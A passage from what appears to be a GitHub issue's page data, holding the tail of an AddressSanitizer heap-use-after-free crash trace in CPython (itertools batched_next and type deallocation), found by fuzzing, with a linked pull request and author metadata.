pymain_run_python Modules/main.c:691\n    #21 0x6001270d071e in Py_RunMain Modules/main.c:772\n    #22 0x6001270d071e in pymain_main Modules/main.c:802\n    #23 0x6001270d071e in Py_BytesMain Modules/main.c:826\n    #24 0x709523c2a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58\n    #25 0x709523c2a28a in __libc_start_main_impl ../csu/libc-start.c:360\n    #26 0x600126a6a634 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x206634) (BuildId: 4d105290d0ad566a4d6f4f7b2f05fbc9e317b533)\n\n0x51300001d3a8 is located 40 bytes inside of 328-byte region [0x51300001d380,0x51300001d4c8)\nfreed by thread T0 here:\n    #0 0x7095240fc4d8 in free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52\n    #1 0x600126d238f3 in subtype_dealloc Objects/typeobject.c:2852\n    #2 0x600126caf1d8 in _Py_Dealloc Objects/object.c:3200\n    #3 0x600126f9aa49 in Py_DECREF_MORTAL Include/internal/pycore_object.h:482\n    #4 0x600126f9aa49 in PyStackRef_XCLOSE Include/internal/pycore_stackref.h:736\n    #5 0x600126f9aa49 in _PyFrame_ClearLocals Python/frame.c:101\n    #6 0x600126f9aa49 in _PyFrame_ClearExceptCode Python/frame.c:126\n    #7 0x600126f06052 in clear_thread_frame Python/ceval.c:1826\n    #8 0x600126f06052 in _PyEval_FrameClearAndPop Python/ceval.c:1850\n    #9 0x600126a4af4c in _PyEval_EvalFrameDefault Python/generated_cases.c.h:10403\n    #10 0x600126f112a5 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121\n    #11 0x600126f112a5 in _PyEval_Vector Python/ceval.c:2001\n    #12 0x600126d4dbc7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169\n    #13 0x600126d4dbc7 in vectorcall_unbound Objects/typeobject.c:3033\n    #14 0x600126d4dbc7 in vectorcall_method Objects/typeobject.c:3104\n    #15 0x600126d4dbc7 in slot_tp_iternext Objects/typeobject.c:10776\n    #16 0x6001271c0582 in batched_next Modules/itertoolsmodule.c:209\n    #17 0x600126ef2d8a in builtin_next Python/bltinmodule.c:1681\n    #18 0x600126b923e7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169\n    #19 0x600126b923e7 in PyObject_Vectorcall Objects/call.c:327\n    #20 0x600126a465a2 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620\n    #21 0x600126f10ad6 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121\n    #22 0x600126f10ad6 in _PyEval_Vector Python/ceval.c:2001\n    #23 0x600126f10ad6 in PyEval_EvalCode Python/ceval.c:884\n    #24 0x60012705616e in run_eval_code_obj Python/pythonrun.c:1365\n    #25 0x60012705616e in run_mod Python/pythonrun.c:1459\n    #26 0x60012705ae17 in pyrun_file Python/pythonrun.c:1293\n    #27 0x60012705ae17 in _PyRun_SimpleFileObject Python/pythonrun.c:521\n    #28 0x60012705b93c in _PyRun_AnyFileObject Python/pythonrun.c:81\n    #29 0x6001270cee3c in pymain_run_file_obj Modules/main.c:410\n    #30 0x6001270cee3c in pymain_run_file Modules/main.c:429\n    #31 0x6001270cee3c in pymain_run_python Modules/main.c:691\n    #32 0x6001270d071e in Py_RunMain Modules/main.c:772\n    #33 0x6001270d071e in pymain_main Modules/main.c:802\n    #34 0x6001270d071e in Py_BytesMain Modules/main.c:826\n    #35 0x709523c2a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58\n    #36 0x709523c2a28a in __libc_start_main_impl ../csu/libc-start.c:360\n    #37 0x600126a6a634 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x206634) (BuildId: 4d105290d0ad566a4d6f4f7b2f05fbc9e317b533)\n\npreviously allocated by thread T0 here:\n    #0 0x7095240fd9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69\n    #1 0x600126d3788e in _PyObject_MallocWithType Include/internal/pycore_object_alloc.h:46\n    #2 0x600126d3788e in _PyType_AllocNoTrack Objects/typeobject.c:2504\n    #3 0x600126d37af4 in PyType_GenericAlloc Objects/typeobject.c:2535\n    #4 0x600126d2f118 in type_call Objects/typeobject.c:2448\n    #5 0x600126b909cd in _PyObject_MakeTpCall Objects/call.c:242\n    #6 0x600126a4ef33 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620\n    #7 0x600126f10ad6 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121\n    #8 0x600126f10ad6 in _PyEval_Vector Python/ceval.c:2001\n    #9 0x600126f10ad6 in PyEval_EvalCode Python/ceval.c:884\n    #10 0x60012705616e in run_eval_code_obj Python/pythonrun.c:1365\n    #11 0x60012705616e in run_mod Python/pythonrun.c:1459\n    #12 0x60012705ae17 in pyrun_file Python/pythonrun.c:1293\n    #13 0x60012705ae17 in _PyRun_SimpleFileObject Python/pythonrun.c:521\n    #14 0x60012705b93c in _PyRun_AnyFileObject Python/pythonrun.c:81\n    #15 0x6001270cee3c in pymain_run_file_obj Modules/main.c:410\n    #16 0x6001270cee3c in pymain_run_file Modules/main.c:429\n    #17 0x6001270cee3c in pymain_run_python Modules/main.c:691\n    #18 0x6001270d071e in Py_RunMain Modules/main.c:772\n    #19 0x6001270d071e in pymain_main Modules/main.c:802\n    #20 0x6001270d071e in Py_BytesMain Modules/main.c:826\n    #21 0x709523c2a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58\n    #22 0x709523c2a28a in __libc_start_main_impl ../csu/libc-start.c:360\n    #23 0x600126a6a634 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x206634) (BuildId: 4d105290d0ad566a4d6f4f7b2f05fbc9e317b533)\n\nSUMMARY: AddressSanitizer: heap-use-after-free Include/object.h:277 in _Py_TYPE\nShadow bytes around the buggy address:\n  0x51300001d100: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa\n  0x51300001d180: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00\n  0x51300001d200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x51300001d280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x51300001d300: 00 00 00 00 00 04 fa fa fa fa fa fa fa fa fa fa\n=\u003e0x51300001d380: fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd\n  0x51300001d400: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x51300001d480: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa\n  0x51300001d500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x51300001d580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x51300001d600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n==2207258==ABORTING\n```\n\n\u003c/details\u003e\n\n\u003c!-- gh-linked-prs --\u003e\n### Linked PRs\n* gh-150675\n\u003c!-- /gh-linked-prs --\u003e\n","author":{"url":"https://github.com/jackfromeast","@type":"Person","name":"jackfromeast"},"datePublished":"2025-12-15T02:08:09.000Z","interactionStatistic":{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":1},"url":"https://github.com/142732/cpython/issues/142732"}